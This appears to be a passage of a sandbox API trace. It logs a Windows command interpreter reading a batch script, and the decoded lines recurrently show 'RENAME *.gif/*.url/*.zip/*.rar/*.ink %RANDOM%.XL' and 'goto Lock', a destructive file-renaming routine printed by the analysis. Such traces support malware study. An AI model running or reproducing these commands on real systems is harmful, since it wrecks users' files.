_get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] GetFileType (hFile=0x74) returned 0x1 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xae8 [0037.278] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=2818, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.278] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n\r\n") returned 26 [0037.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.278] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.278] GetFileType (hFile=0x74) returned 0x1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb02 [0037.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2820, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0037.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.279] GetFileType (hFile=0x74) returned 0x1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb04 [0037.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0037.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.279] GetFileType (hFile=0x74) returned 0x1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb0f [0037.279] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=2837, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.279] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0037.279] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.279] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.280] GetFileType (hFile=0x74) returned 0x1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb15 [0037.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=2863, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.280] GetFileType (hFile=0x74) returned 0x1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb2f [0037.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=2865, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.280] GetFileType (hFile=0x74) returned 0x1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb31 [0037.280] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.280] SetFilePointer (in: hFile=0x74, lDistanceToMove=2876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.280] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0037.280] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] GetFileType (hFile=0x74) returned 0x1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb3c [0037.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0037.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] GetFileType (hFile=0x74) returned 0x1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb42 [0037.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0037.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.281] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.281] GetFileType (hFile=0x74) returned 0x1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb44 [0037.281] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.281] SetFilePointer (in: hFile=0x74, lDistanceToMove=2910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.281] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] GetFileType (hFile=0x74) returned 0x1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb5e [0037.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=2921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\np %RANDOM%.XL\r\n") returned 11 [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] GetFileType (hFile=0x74) returned 0x1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb69 [0037.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=2923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.282] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.282] GetFileType (hFile=0x74) returned 0x1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb6b [0037.282] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.282] SetFilePointer (in: hFile=0x74, lDistanceToMove=2929, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.282] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":rar\r\nock\r\n") returned 6 [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] GetFileType (hFile=0x74) returned 0x1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb71 [0037.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=2931, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nar\r\n") returned 2 [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] GetFileType (hFile=0x74) returned 0x1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb73 [0037.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=2957, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.283] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.rar %RANDOM%.XL\r\n") returned 26 [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.283] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.283] GetFileType (hFile=0x74) returned 0x1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8d [0037.283] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.283] SetFilePointer (in: hFile=0x74, lDistanceToMove=2959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.rar %RANDOM%.XL\r\n") returned 2 [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] GetFileType (hFile=0x74) returned 0x1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb8f [0037.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=2970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nr %RANDOM%.XL\r\n") returned 11 [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] GetFileType (hFile=0x74) returned 0x1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9a [0037.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=2972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.284] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.284] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.284] GetFileType (hFile=0x74) returned 0x1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb9c [0037.284] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.284] SetFilePointer (in: hFile=0x74, lDistanceToMove=2978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":ink\r\nock\r\n") returned 6 [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] GetFileType (hFile=0x74) returned 0x1 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba2 [0037.285] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=2980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nnk\r\n") returned 2 [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] GetFileType (hFile=0x74) returned 0x1 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xba4 [0037.285] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=3006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.285] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.ink %RANDOM%.XL\r\n") returned 26 [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.285] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.285] GetFileType (hFile=0x74) returned 0x1 [0037.285] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbbe [0037.285] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=3017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nk %RANDOM%.XL\r\n") returned 11 [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] GetFileType (hFile=0x74) returned 0x1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbc9 [0037.286] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=3019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbcb [0037.286] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.286] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.286] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 